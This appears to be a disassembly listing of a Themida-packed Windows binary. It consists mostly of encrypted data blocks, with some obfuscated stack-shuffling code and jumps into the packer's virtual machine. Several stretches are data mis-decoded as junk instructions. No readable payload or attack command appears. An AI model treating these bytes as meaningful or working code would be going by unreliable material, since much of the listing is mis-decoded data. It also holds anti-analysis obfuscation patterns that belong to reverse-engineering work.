		dd 0D51BA4A3h, 95618657h, 5750A2C6h, 0E9DD48D6h, 95A5A9C3h
		dd 0DF6ACB26h, 54C3B95Dh, 8CB322F0h, 6EC3B95Dh,	0D69588EFh
		dd 0AB37FDB8h, 15DE5B85h, 0A3966D1h, 2BC3B951h,	1F10BF3Bh
		dd 0F76458FCh, 0B9409BB6h, 103418C3h, 76102h, 2A4F0000h
		dd 3B3h, 0CCFD8B40h, 5F496DE5h,	6759790h, 0CB8092F6h, 0E752D3BFh
		dd 7C53F094h, 0A6DC17EAh, 0D31B470h, 7C8BD2E9h,	878D0901h
		dd 702D5827h, 92090758h, 0A9E4E57Ah, 0C1286791h, 0FC72C16Eh
		dd 8DF153F0h, 0BFD6B969h, 5098480h, 1B336E9Ah
		dd 0DEEC353Dh, 4E722B5Ch, 7D25213Eh, 0F0FC0130h, 9ABE8253h
		dd 0DF36E562h, 46ADEC5Bh, 7B900B07h, 59547108h,	95A4A521h
		dd 8553F0FCh, 9AFE0E89h, 20D02226h, 0DFEA8C87h,	0B4D5AAA2h
		dd 2145C1F9h, 4D7F0E3Dh, 97E8D45Eh, 8D0A0279h, 0D3847AEh
		dd 0A0CD8C90h, 0CE9DFD7h, 2757527Dh, 3C0FA8A3h,	0B735E7DAh
		dd 7B8A41D3h, 68650206h, 0D6AE1D2Dh, 0D78548AEh, 5F0C0659h
		dd 7437B32h, 73EE41A8h,	99A0DDECh, 35E790AAh, 30EF2529h
		dd 44969A13h, 9Ch, 0BCF9146Bh, 6E808C76h, 6B9DE21Ah, 0C09FEC30h
		dd 9348CAC3h, 0AC0D3D78h, 53F0929Dh, 407F9645h,	5BC44845h
		dd 3847772Eh, 24616C06h, 92BB9617h, 543853F0h, 937C1830h
		dd 0E936A17Ch, 53F0925Ah, 0D94675D9h, 53F0926Ah, 0F0AF65E9h
		dd 0C956DAD3h, 0B6C9C1BCh, 65E21A97h, 23205FB6h, 0A39A66Ah
		dd 28205D6Ch, 967088ACh, 0C42B6A99h, 0B9F41269h, 500F0581h
		dd 2FB87C31h, 0D1506823h, 53F0926Dh, 0BECD246Bh, 78131792h
		dd 7027770Dh, 0F577B40Ch, 0F0D245F4h, 7F81DE53h, 202AE80Ch
		dd 0AC9F188Bh, 2753F092h, 0D2F6A7D8h, 47F8B40h,	245F6BF4h
		dd 42394B14h, 9D18354Ah, 779E396Dh, 57BEDDB3h, 0CD931C28h
		dd 0F3A7B26h, 8453F06Fh, 3846E80h, 675B9DDh, 0A3AE4847h
		dd 4E72D6E6h, 5D58DA3Eh, 53F0BE85h, 3572ED1Eh, 53F0BC06h
		dd 977BB99Dh, 8594B64Ah, 0FFFF0D56h, 618042FFh,	8347E01Bh
		dd 3349DC6Ah, 90621B2Ch, 6FDCEC50h, 284CEF10h, 987603F4h
		dd 656681A5h, 7EB41028h, 0FA179FA1h, 0EB0F8B83h, 0F7155427h
		dd 0A088CBCh, 40783355h, 7D8CD3h, 0C9868C08h, 8CC8C0BBh
		dd 0A51CC23h, 0E37585F8h, 0A669023Ch, 57DDC157h, 131786B8h
		dd 33B7294h, 0E42B98A2h, 8DE41355h, 4B862792h, 0C855E42Bh
		dd 566CD244h, 0B7ADE0FFh, 0E19CAE7Dh, 56E49AEAh, 3FF1ACDEh
		dd 0AE64023Dh, 504B7DEAh, 5B21C038h, 89878720h,	94F84FC8h
		dd 226DFB90h, 86BFB7FBh, 49982CE6h, 50AF0803h, 9C45F354h
		dd 9A21AFC4h, 6DA76666h, 46193115h, 243C4F4Ah, 0F47D0B4Eh
		dd 15DD57E4h, 0C7F87E8Ah, 3E22A6D6h, 236EAF0Eh,	192AA0EBh
		dd 0FC0B5464h, 0B2DD8981h, 804FD75Bh, 732E5A69h, 0F140ED58h
		dd 7262FBE7h, 0BBDFDAF5h, 212EB979h, 0F9085764h, 213E8E84h
		dd 3516A25h, 0EFCA07E1h, 3676BC4Eh, 0F5056CEBh,	0B6A00227h
		dd 0CAB7h, 1269C400h, 87B2BBF6h, 1C62FBFBh, 0FBB38E2Fh
		dd 4C3062FBh, 6760EA28h, 74F33766h, 4FD85C59h, 0B5C64A41h
		dd 0F1F3D4BFh, 99B5FB97h, 6338FA1Eh, 7AE52964h,	55D2564Bh
		dd 7ECD6A38h, 0F553F050h, 2265B6Ah, 818D1A1Eh, 5A76F506h
		dd 821DD55Fh, 9E090D80h, 0A31DC06Fh, 2CF38634h,	5D416520h
		dd 0C772B32Eh, 5C53F088h, 78A3AF8h, 0CA6D8A7h, 68608401h
		dd 0C461DCEFh, 53F08875h, 1A6E2925h, 0F81FFC36h, 0C855C03Bh
		dd 53F08879h, 215C6DFAh, 9E89AD29h, 0C2FD3772h,	0F088D665h
		dd 0D2E96D53h, 10E6B582h, 9E94B943h, 7D4FBFDAh,	6Fh, 0D8F48BFBh
		dd 0BB57DDh, 92390895h,	0D6BA53F0h, 92E7515Ch, 0C02F53F0h
		dd 67BB79A9h, 74F33766h, 0F2A9A759h, 0D65A7EDAh, 0BC403B49h
		dd 52692423h, 4C79F90Bh, 0B91D2D51h, 2120BF7Bh,	8CD3A86Ch
		dd 5BF0027Bh, 0AF22852Eh, 95D34E87h, 8FDEAD71h,	56050F7Eh
		dd 0A5838D3Ah, 536B2621h, 1D6B21F7h, 0E58286AAh, 0B664A8E3h
		dd 3, 67A68C3Ch, 7B043467h, 253A5249h, 15E6E29h, 0EE718904h
		dd 0D5AAA2DFh, 0BCC3FBB6h, 98E7178Eh, 4718306Dh, 1F275746h
; ---------------------------------------------------------------------------


loc_5F4E54:				; CODE XREF: Themida_:005F2394j
		push	2305h
		mov	[esp], esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		push	1F05h
		mov	[esp], ebx
		mov	esi, 25F94EF1h
		neg	esi
		add	esi, 0FFFFFFFFh
		sub	esi, 0D3EB43C0h
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 8
		add	edx, 26F32AEEh
		add	edx, ebx
		sub	edx, 26F32AEEh
		mov	[edx], esi
		pop	edx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		xchg	bh, [eax+61B72B8h]
		add	eax, ebp
		mov	edx, ebx
		lea	ebx, [ebp+6140DD5h]
		mov	eax, 23E4h
		mov	[ebp+6140089h],	eax
		call	$+5
		pop	eax
		add	eax, 0Dh
		mov	[ebx], eax
		jmp	loc_5F72E4
; ---------------------------------------------------------------------------
		dd 8F9h	dup(0)
; ---------------------------------------------------------------------------


loc_5F72E4:				; CODE XREF: Themida_:005F4EFBj
		jmp	loc_5F7312
; ---------------------------------------------------------------------------
		db 9Ah,	87h, 62h
		dd 41h,	8 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F7312:				; CODE XREF: Themida_:loc_5F72E4j
		jmp	loc_5F7FB0
; ---------------------------------------------------------------------------
		push	61B997Dh
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	61B9A72h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	61B9B48h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	61B9BE6h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	61B9F02h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	61BA18Eh
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		push	61BA2A4h
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		cmpsb
		cmpsb
		jmp	short loc_5F7388
; ---------------------------------------------------------------------------
		db 0B8h, 87h, 16h
; ---------------------------------------------------------------------------
		adc	dl, [ebp+6CFB3F7Ah]
		pop	esi
		daa
		jecxz	short loc_5F73B2
		inc	ebp
		dec	eax
		les	eax, [edi+6Dh]
		movsd
		cmpsb
		jmp	short locret_5F739E
; ---------------------------------------------------------------------------
		db 0B8h
		dd 910E128Bh, 69F63A75h, 0B5E02457h, 55AE936h
; ---------------------------------------------------------------------------


loc_5F7388:				; CODE XREF: Themida_:005F735Fj
		jmp	short loc_5F73DF
; ---------------------------------------------------------------------------
		dw 0BAD9h
		dd 35686776h, 534E7A05h, 2256B7CFh, 6FAA8C29h
		db 0DCh, 49h
; ---------------------------------------------------------------------------

locret_5F739E:				; CODE XREF: Themida_:005F7375j
		retn
; ---------------------------------------------------------------------------
		db 7Fh
		dd 0C461DC4Fh, 55E49C75h, 0D888A8Eh, 55E49C32h
		db 0D0h, 35h
; ---------------------------------------------------------------------------


loc_5F73B2:				; CODE XREF: Themida_:005F736Cj
		ficomp	word ptr [esi+ecx*2+688BA896h]
		xor	al, 0
; ---------------------------------------------------------------------------
		db 0
		dd 61804400h, 9290A30Ch, 2F1353F0h, 94CABFF9h, 0CFF330AAh
		dd 0A98773BCh, 0B49849DCh, 3C481784h
; ---------------------------------------------------------------------------
		inc	ecx
		mov	bl, 0C2h


loc_5F73DF:				; CODE XREF: Themida_:loc_5F7388j
		jnp	short loc_5F7422
		in	al, 55h
		cdq
		jle	short loc_5F73FD
		fist	dword ptr ds:0A18BA960h
		pop	es
; ---------------------------------------------------------------------------
		db 3 dup(0)
		db 0Fh
; ---------------------------------------------------------------------------


loc_5F73F1:				; CODE XREF: Themida_:005F7415j
		sub	al, [ebp+8]
; ---------------------------------------------------------------------------
		dd 8B400000h, 72949FDh
; ---------------------------------------------------------------------------
		cmpsb


loc_5F73FD:				; CODE XREF: Themida_:005F73E4j
		stosd
		insd
		lock push ebx
		sub	[edx+esi*8], ah
		cdq
		nop
		pop	esi
		aam	7
		add	eax, 0E7196696h
		mov	ah, 70h
		adc	cl, dh
		mov	esi, [eax+37h]
		jnp	short loc_5F73F1
		fmul	qword ptr [ecx-74h]
		jp	short loc_5F7492
		push	ss
		and	eax, 0D3F71CA4h


loc_5F7422:				; CODE XREF: Themida_:loc_5F73DFj
		mov	eax, 29EBA6A1h
		popf
		sbb	al, 21h
		xlat
		in	al, 55h
		retn
; ---------------------------------------------------------------------------
		dw 0ED04h
		dd 0A8CD3FEDh, 405F8Bh,	80550000h, 75E01B61h, 0F0921928h
		dd 2E449A53h, 0EBAF1DB6h, 6F58DAFEh, 0DCDC50CEh, 9DAD9149h
		dd 0C772B32Eh, 5C55E42Ch, 69242FF8h, 0BE3FF551h, 55E42C8Fh
		dd 4F8BE26Dh, 8BA94AA1h, 0D93Dh, 6567FB00h, 0DF950636h
		dd 554C14E7h, 0C30016AFh, 0D24E617h, 0E918B77Dh
; ---------------------------------------------------------------------------
		mov	ah, 87h


loc_5F7492:				; CODE XREF: Themida_:005F741Aj
		clc
		retf
; ---------------------------------------------------------------------------
		dd 1B6440D2h, 453849E9h, 0A3BA2921h, 79DDEDA8h,	909BC3A7h
		dd 24EE3EB5h, 15265577h, 0E9A4A3BAh, 0C57475D1h, 5E53F0C6h
		dd 317838FAh, 53F0C36Eh, 4A413C4Eh, 949E1533h, 4A4143DCh
		dd 5A3BCA32h, 0F0CB6EDDh, 7D61E553h, 2345E14Eh,	9AFE49DCh
		dd 0D41B1361h, 517400B0h, 849FAFDFh, 0B87A4C21h, 137988F8h
		dd 296461F8h, 325FD8EBh, 354FCB59h, 24233A51h, 0B3AA569h
		dd 0A4FA9196h, 2A826303h, 9F418h, 0B7EA1A00h, 0DAD3F473h
		dd 0C3BEC956h, 0EBA2A03Fh, 1489B827h, 11A18B10h, 0EC7BBFF2h
		dd 0C562A6DFh, 0DD4ACEC9h, 412CF0ABh, 0B8EBDFAh, 0CE0555EBh
		dd 356867CAh, 595476F1h, 188B1FD5h, 0F092AC9Fh,	0D1232753h
		dd 43780CDDh, 0DC6C74E2h, 72898D49h, 6EA4DFEBh,	3572ED5Eh
		dd 55E49C06h, 7A7BB99Dh, 55E49CC3h, 5CCF2621h, 9CF544E1h
		dd 0A0E55E4h, 9ABA6008h, 0BEC48BA8h, 0D0000000h, 9C52FD8Bh
		dd 2CC2BFCEh, 0CA48AA9Fh, 80B8F315h, 6DCAD0FFh,	53F04FDEh
		dd 0E0D4D1FEh, 0E140789Ch, 53F04A3Eh, 0BDCA6C9Eh, 284CC8C0h
		dd 52497BE4h, 6B262239h, 813DF753h, 8FBCC819h, 0DC9B042Eh
		dd 55D9BD49h, 7EBFDC2Dh, 55E46BC3h, 0EDA1DCEBh,	0E9364569h
		dd 4FCB0E95h, 0F381BA9Eh, 0CE316A14h, 0D0FE2915h, 1D6C5FD5h
		dd 0F06FB3EEh, 0CE5BDCD1h, 0A2630390h, 8FF784Ah, 0F5150000h
		dd 0D8E976BAh, 0CBC661A5h, 0AFDD4ACEh, 98B730F4h, 0B69A21E5h
		dd 888C0100h, 77BBF21Fh, 5DA1DCE8h, 49CDC0C2h, 0E150DD2Ch
		dd 6255EB08h, 6867EFD1h, 0AAB0635h, 53F0923Fh, 9642D0B4h
		dd 8084F709h, 366567B2h, 0FD3A9506h, 53F0924Eh,	1CB341C5h
		dd 0C87BA4EAh, 4B53F092h, 0D1A8A3C7h, 46C2FAB5h, 0E87704CCh
		dd 3094A4D9h, 66B054E2h, 6FDAF187h, 0FBFFDE19h,	0F93BD36Ch
		dd 0DC668AFCh, 0FA88349h, 55E4873Ch, 9CAFD3B7h,	4DC7C2CDh
		dd 562DF3B0h, 9B6A2BB9h, 151DEEDh, 0C2E6050Ah, 0FF0F8A85h
		dd 74C7609Bh, 8FE61DE0h, 0EF57678Bh, 0D4516A1Eh, 0FC32696Fh
		dd 106F9CE0h, 0FD8CBFEEh, 65182ACCh, 47CD4941h,	0BBF21493h
		dd 29F3F174h, 6B3991B3h, 829h, 0A86C1F2Fh, 9B9F0E3Fh, 8084010Ch
		dd 6EB2E9E7h, 5BDFD2F1h, 3756FCD0h, 1C29B67Ah, 6029D61h
		dd 0E618878Bh, 0BB0673B7h, 0EB09CF7Ah, 850F4455h, 5A216567h
		dd 0DA69702Dh, 5953F092h, 31336407h, 0CDF1FDA6h, 0D82991A9h
		dd 0EC1E9FACh, 6549DCB1h, 7793EAE1h, 54700F3Ch,	0DCECA1A2h
		dd 0A0245478h, 0D39A652h, 72097A92h, 0BBCD5A57h, 0C64CC8C0h
		dd 0E47864D7h, 88B38A55h, 957455E4h, 4B4BD4E7h,	0E34FC88Ch
		dd 35049495h, 0A46E160Fh, 0BFC0F85Ch, 0A0191E8Dh, 0F86305BEh
		dd 78BB280h, 81810000h,	6C9D0A0Eh, 5772ED31h, 3B49D65Ah
		dd 2423BC40h, 3226A569h, 4088584h, 0F3376E9Bh, 0D95D5874h
		dd 0BD413C4Eh, 7DCC69D0h, 0F655EB09h, 61805B5Dh, 1A75E01Bh
		dd 0F092AE9Dh, 0D3212553h, 0DC76E4E2h, 1391D49h, 0CC504D7Eh
		dd 472DA9BFh, 2563FC06h, 650F30EFh, 0F7072B66h,	0FC0F7B8Fh
		dd 0BA891681h, 3955E4D8h, 0ABDEDF55h, 0A855E4D9h, 0C43394A4h
		dd 306D9EADh, 0D892ADECh, 0B15555E4h, 987F3B37h, 7D61E920h
		dd 0F9E9364Eh, 24D943CCh, 0C550DDEEh, 1E55E47Dh, 0CF85F63Ah
		dd 54242B0Fh, 56537E7Eh, 1A2BE032h, 0BCA6B63h, 0B355E406h
		dd 0ED1E2D44h, 491F6CB0h, 0CFA28A91h, 49060C12h, 0C6354538h
		dd 0C7DDEC8Eh, 59DBD20Ch, 0E47E315Ch, 638A6955h, 0A66A2324h
		dd 4D7E0ADEh, 0E47F5EE0h, 5B73D755h, 5DA88DAh, 6AF128E1h
		dd 0CD3215Ch, 0D94795E5h, 0BB57000Ah, 0E4000001h, 0DB1D2C89h
		dd 49962986h, 0C35C403Bh, 56B2CAC1h, 0F48B5ADCh, 4843DCD9h
		dd 5BD93D4Dh, 0C5F68263h, 0DC728A58h, 0B4C74B49h, 6E9FEE59h
		dd 0B2033E3Fh, 478055E4h, 0E3315548h, 9F631A2Ch, 5274FE00h
		dd 83A7235Bh, 4341188Bh, 96CBCA48h, 0F2CC3BEEh,	0D1AEDED3h
		dd 89CDFDB0h, 9F43C72Eh, 98AAD930h, 848621E5h, 6362F209h
		dd 125ECAA2h, 41B9050Fh, 0DBA2D9A5h, 7A3EF4AFh,	0B3947301h
		dd 0A4000FB1h, 3DF3BAAAh, 72807359h, 0C4F4AFDDh, 83FA0857h
		dd 56050F8Bh, 0D808234h, 88BA25E9h, 0FE76E515h,	7AF09655h
		dd 0CEBFC044h, 0FC365ABEh, 31AE1CF1h, 0C1288768h, 0FE0D8082h
		dd 1F2F5E6Fh, 0C2B979BBh, 0E4148FBBh, 138A8760h, 45384A01h
		dd 4D39CD35h, 8D42F13Eh, 86C1AC15h, 9AFE0E8Bh, 1635B276h
		dd 85F0639Bh, 158D2918h, 6CA6AAACh, 0CBC08C58h,	158DDB6Ah
		dd 1C1E50ACh, 2EE6B7F0h, 8A15193Dh, 6AF50578h, 4916265Bh
		dd 128BB83Eh, 0B88DEEEh, 3957AE1Ah, 0BFF6130Ch,	56CCB8Fh
		dd 0C7156ECFh, 0F61A2E4Bh, 0FC0B62D1h, 0D04FD3CAh, 27520DAEh
		dd 4F841867h, 5FAB132Bh, 0B49F1833h, 3FAC157Dh,	3648D75Bh
		dd 1C283747h, 0F336E9Ah, 205B6DFCh, 0C58AD2D2h,	3E6D9FAEh
		dd 375B6DFAh, 157D5BF6h, 5074D8ACh, 99B4CB38h, 0AA68EC1Ch
		dd 0C878F612h, 68B06B06h, 108721F7h, 868BE52Ch,	61CC6962h
		dd 8AAC152Fh, 9D1A7586h, 0AC152FAEh, 27D32125h,	0BEF91554h
		dd 0F0ABA774h, 0C8984DBh, 2A9A98FCh, 112A56B2h,	152FB594h
		dd 0D0F289ACh, 2CDE6DCAh, 0F155AC15h, 5F2347CDh, 656719DBh
		dd 7392F236h, 0BDA9F605h, 3649DC77h, 0BFCE3952h, 42191B92h
		dd 58C74B46h, 0E159712Ch, 0D4477400h, 55C3669Ch, 2A8B0FDDh
		dd 55E4671Fh, 868CB094h, 0C880EB17h, 0E0187C4Fh, 0D979FE41h
		dd 0DCA8395Fh, 0BB4D0AFh, 9AEF76CEh, 85B5D99Ch,	77B0F301h
		dd 45F53377h, 0EB748488h, 0EE5DA2D9h, 865CF175h, 46F0416h
		dd 65650000h, 4879E62Ah, 3B56D155h, 1F2DBA7Eh, 807A064h
		dd 260A9195h, 0F83C7190h, 0E72B626Fh, 0CD514C78h, 0B97D3052h
		dd 71C06DDCh, 0F255EB0Dh, 61805F41h, 6E99E01Bh,	0CBC3BAC8h
		dd 0B7132B4Fh, 0DE5427Dh, 2649DC90h, 4EB92A22h,	0E49352E1h
		dd 0A76DD155h, 0E4931436h, 9D183655h, 0BBF6126Dh, 168C783h
		dd 0CA212C39h, 0A8896288h, 7D7C8Bh, 73010000h, 0F59A23B1h
		dd 1E00125Bh, 0F092B6B9h, 3C799653h, 9364880Ch,	51E04DB8h
		dd 0D253F092h, 0D5F7A46Eh, 0C72262A6h, 0E2582B9h, 0E253F092h
		dd 0C108EA92h, 28EA142Bh, 8838FD8h, 798BD4E4h, 6386FE02h
		dd 92B9E615h, 153F0EFh,	50720D3Dh, 5CA9D95Dh, 839A1B30h
		dd 0C853F0EFh, 4AF53444h, 9253F02Ch, 0FDA4CA3h,	72ED4A41h
		dd 0F953F02Ch, 0B85B9195h, 68000000h, 83BBF611h, 8B0B0D07h
		dd 0ADDDD8F4h, 32D3EB29h, 0EAE83546h, 0B49DC76h, 0A5D5D0FCh
		dd 720D3D21h, 0ACD45855h, 9213285Ch, 55E4B1A3h,	0B7245438h
		dd 1C78B7A1h, 0C64CDF1Bh, 0E42369D7h, 254C8B55h, 0A93A07D5h
		dd 6D978Bh, 8B1D0000h, 57DDD8F4h, 0C0FB8F5Fh, 0DCC5F5B0h
		dd 9633B818h, 6D53C5C2h, 0A7D6F77Dh, 0E9367183h, 53F0B45Ah
		dd 3A4575D9h, 0F48C900Dh, 0CA6B6014h, 53F0B5A3h, 0B186790Fh
		dd 0CD356EB3h, 2F5F2347h, 0F04EBF8Eh, 61886753h, 8103B6CEh
		dd 235D5B2h, 0CE9DAC09h, 321653F0h, 483CCCE0h, 0CF9BF233h
		dd 0AC9053F0h, 0BB62C99Fh, 1635CF37h, 679E541Ch, 4F053665h
		dd 54051320h, 318D87EBh, 9D611C2Eh, 5B7004E5h, 0DC5110DAh
		dd 4575D949h, 0E4D159E4h, 355CBB55h, 0A8CBF725h, 34878Bh
		dd 802D0000h, 47E01B61h, 49DC6CD7h, 95142428h, 55E49CAAh
		dd 0A027F8Ah, 9C2D1C99h, 0A2A655E4h, 31494445h,	0CB4FA629h
		dd 0DA187F9Eh
		dd 8BA89B14h, 0C6A2h, 65670E00h, 4A460536h, 0E21A93B4h
		dd 0F4B04266h, 29215C6Bh, 0EEA5A3BAh, 0E3B87ADEh, 0C170BDE1h
		dd 4253F092h, 31A2DAFEh, 91631E2Ah, 51D5C8FAh, 0F0975508h
		dd 98133553h, 82F90B94h, 7EF3128Ah, 53255550h, 2CEC915Fh
		dd 35597D58h, 15D59906h, 3A1E49DCh, 97F8EF6h, 25606BF2h
		dd 1361DCEFh, 0E1FA11D1h, 0BBE7549Ch, 7BBCA242h, 0D6D0DD57h
		dd 2F4FCB5Fh, 3A49102Bh, 0B1C8C347h, 451A1893h,	5FC44B46h
		dd 636303A3h, 1E3390Bh,	0D9E90000h, 0C4C562A6h,	0AFDA45C9h
		dd 93B12EF2h, 7C8B1418h, 5A7EFD01h, 5CA0DDECh, 4BCFC6C3h
		dd 31F5B0DCh, 151994B6h, 95A40178h, 2E55EB33h, 686723E5h
		dd 5476F135h, 8B1FD559h, 92AC9F18h, 232753F0h, 780CDDD1h
		dd 6C74E243h, 898D49DCh, 3B710772h, 30F108A0h, 8B182B32h
		dd 0B79B55E4h, 5DE0417Dh, 0BF55E48Bh, 0F3393950h, 438BA8A5h
		dd 57690B3Ch, 8C080024h, 61A14A9Ah, 4CC6F21Fh, 0DBB3h
		dd 65677900h, 0A3C7C2CDh, 232138ABh, 3EF45068h,	0B2D46261h
		dd 733B2609h, 0ACD03309h, 0E414389Ch, 0F07D9A45h, 27C8FA53h
		dd 0C1FF4256h, 265D6B0Ch, 6A8EB216h, 940739A6h,	5D68F764h
		dd 0BDAD220h, 2DE14E7Dh, 0C649DC22h, 52CDBE42h,	0E4E866D5h
		dd 8799FD55h, 99E87ECBh, 7448CA73h, 4BD4E795h, 4FCBFF2Eh
		dd 0D34E7DC1h, 0CDF47F8Ch, 0B2B5CFCh, 855AD8FCh, 69F00B86h
		dd 5C2A225Dh, 0B5086D21h, 48CAEE5Bh, 0BDF01F88h, 4AD1F7Ah
		dd 7547B763h, 0CDh, 44C8C3C3h, 2FF3AADBh, 141895B0h, 2067D8Bh
		dd 0E72B6665h, 0C3C27064h, 0B0DD4ACEh, 9AB631F5h, 7A8C1B1Fh
		dd 2F92FF03h, 0EB30B38Eh, 19833055h, 0F1356867h, 32502F9Ah
		dd 86C7437Bh, 53F0924Bh, 11CE44C8h, 0BA78BCEFh,	0C0C46567h
		dd 3AFA6BDCh, 0DB0BCF21h, 0F51AAC18h, 0A4A6B9D1h, 8C5D25E9h
		dd 0C62C3F8h, 2549D41Bh, 645A2A21h, 2F2FD716h, 0CAC620F6h
		dd 0D57192EDh, 0EE106F5Fh, 94118CBFh, 55EC94A5h, 18D85A3Eh
		dd 0B2EB1C63h, 27F43E9Ah, 0E7467625h, 8C657755h, 0A77A917Eh
		dd 3EF4A9D8h, 1F2C5F61h, 0A86B8B49h, 0F43E9C65h, 0EAA1A33Ch
		dd 47F8DD2h, 4DA493F4h,	8D910C3Eh, 8DBDF012h, 4F3E4F1Eh
		dd 35BC5h, 8CD10000h, 346767A6h, 52497B04h, 6E29253Ah
		dd 8904015Eh, 0A2DFEE71h, 0FBB6D5AAh, 178EBCC3h, 306D98E7h
		dd 57464718h, 66681F27h, 5400001Dh, 8324048Fh
		db 4, 24h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	0ECDh
		mov	[esp], ebp
		push	7B324C35h
		pop	edx
		xor	edx, 1B1E5EB7h
		dec	edx
		add	edx, 0A5EF8540h
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	6297h
		mov	[esp], edx
		pop	dword ptr [ebp+8]
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		align 10h


loc_5F7FB0:				; CODE XREF: Themida_:loc_5F7312j
		mov	eax, 61BA396h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0DDh, 0F4h, 6Bh
		dd 4937874Eh, 0A5CBA538h, 0C8373F4Ch, 0FCBF290Eh, 0B29B8F71h
		dd 11EA6C59h, 0E2BF423Bh, 242FD08h, 0F72E3E35h,	0A1F6C53Ch
		dd 30A4CC65h, 0CE130E08h, 53D2713Eh, 0EEFF135Eh, 0D69E0C78h
		dd 6EF62B31h, 2C7CA673h, 92F89343h, 451B0916h, 0EC62D617h
		dd 0B9C673Fh, 0CF0E0006h, 569AA37Eh, 0ADA7E574h, 6DE32B5Dh
		dd 0F823F923h, 81F7734Ch, 99EB596Ah, 1151F55Fh,	29877F7Eh
		dd 0BE820h, 2D610000h, 5199ECAAh, 0CD5A8F0h, 0F58F5C5h
		dd 1289h, 0DE900h, 460A0000h, 0D5C0AFB9h, 0FDC3EC74h, 81AC6A75h
		dd 0DE3FC0h, 68F800h, 0E9000000h, 0Dh, 0F04E443Ah, 17454D8Fh
		dd 9B2993C6h, 81665FD9h, 8BCEFFEEh, 0BEB9381Ch,	8109C5D5h
		dd 250010F3h, 0E5BA512Ch, 5922995Bh, 167FF381h,	8B6674B4h
		dd 0C3C381F7h, 8925B995h, 0BF0F381Ch, 0BEEF81D6h, 57174504h
		dd 8ADE8166h, 0C781593Fh, 174504BAh, 30C68166h,	58FF812Bh
		dd 0FFFFF22h, 0FFFFB285h, 0CDB966FFh, 11E8ECh, 51360000h
		dd 580C3217h, 0C2BF5AD0h, 0F6110EACh, 0BBB887AAh, 5D6FCA64h
		dd 14E85Fh, 0DA310000h,	6B301D95h, 86D2403h, 25FAB58Ah
		dd 6D3ED502h, 0EA80788Ah, 0C7815AE1h, 7165h, 5BF6660h
		dd 12E9ABh, 7CCD0000h, 6CCF1AB1h, 0CADA6482h, 0FE480086h
		dd 526D3610h, 0B3F62B61h, 37048B42h, 81E9DA80h,	711465F0h
		dd 81DA8B56h, 0FD991F0h, 58FCBA4Dh, 0E8810CD0h,	389181CDh
		dd 0AE9h, 65F51F00h, 33D67D9Ch,	89AB0AD7h, 0F98A3704h
		dd 6820F57h, 81000000h,	0AE6CE3E9h, 0EE815A3Ch,	55F26ECDh
		dd 81A9D980h, 0F26EC9C6h, 0FEE6BB55h, 0FE81316Ah, 0FFFF8F5Ch
		dd 0FF9F850Fh, 890FFFFFh, 3, 0E960D780h, 0ECh, 0
		dd 7C810637h, 7C81CE03h, 7C80C058h, 7C901005h, 7C9010EDh
		dd 76F20000h, 2, 5 dup(0)
		dd 7C80ADA0h, 2Ch dup(0)
		dd 6, 1611ED14h, 3211A2A3h, 0B11A6611h,	3215668Fh, 3214E44Bh
		dd 0B1ED6622h, 260597ACh, 3B60668Eh, 3C30DBC7h,	46156036h
		dd 0B9463608h, 3604DE48h, 0B79C6644h, 34017E3Bh, 9547FB9Ch
		dd 0E1EA609Eh, 8F963E1Fh, 34016807h, 62021211h,	3604DEDBh
		dd 0B79C6644h, 34017E3Bh, 9654FB9Ch, 0E1EA609Eh, 0B51A3E1Fh
		dd 32156636h, 321569F8h, 0D6298588h, 8AD897DAh,	61603A6Ch
		dd 428A9578h, 0F49C307Dh, 1611E712h, 27A871B6h,	25814B49h
		dd 524B7335h, 16A8E525h, 32137D84h, 3244E21Eh, 0B51A6688h
		dd 3215664Dh, 54AED242h, 241B8D90h, 9D90EBE9h, 52137D28h
		dd 0C37DC29Dh, 8BC7E63Dh, 0DBC599E9h, 3215664Fh, 0DF532083h
		dd 9DD20E02h, 0BFF50FC6h, 2979B9C1h, 321D8F24h,	0EAE46611h
		dd 0C711D6A6h, 0E2EA5078h, 0FA9F0642h, 53DCD91Eh, 0F4748E02h
		dd 261D2FC1h, 23FC3024h, 0CB156611h, 0B4F55896h, 8111A0BAh
		dd 0BCAFBAF1h, 8A3C3834h, 9AAD34E0h, 2C9C69D8h,	3D156622h
		dd 32157E9Dh, 32068F88h, 769D6644h, 0FFFE3A06h,	4813C48Bh
		dd 0EBDD5E51h, 9263D31Ah, 57A09984h, 5213723Dh,	0DBEDEDEEh
		dd 32156649h, 207890F8h, 68C915F7h, 33B5A12Bh, 0B798071Eh
		dd 34021EDCh, 0C5C3E671h, 3DC599E9h, 321570CCh,	32048F22h
		dd 0A336611h, 7770B287h, 0A1FB21FBh, 46BBA193h,	5264023Eh
		dd 54F1A608h, 5337B3FDh, 2C1CE3ABh, 3D756005h, 32156007h
		dd 0F8FDE744h, 0B237EB79h, 0F57425E2h, 263F9B0Dh, 32156642h
		dd 32108F22h, 1A3B6611h, 0F4D8B629h, 261D2FC1h,	54752324h
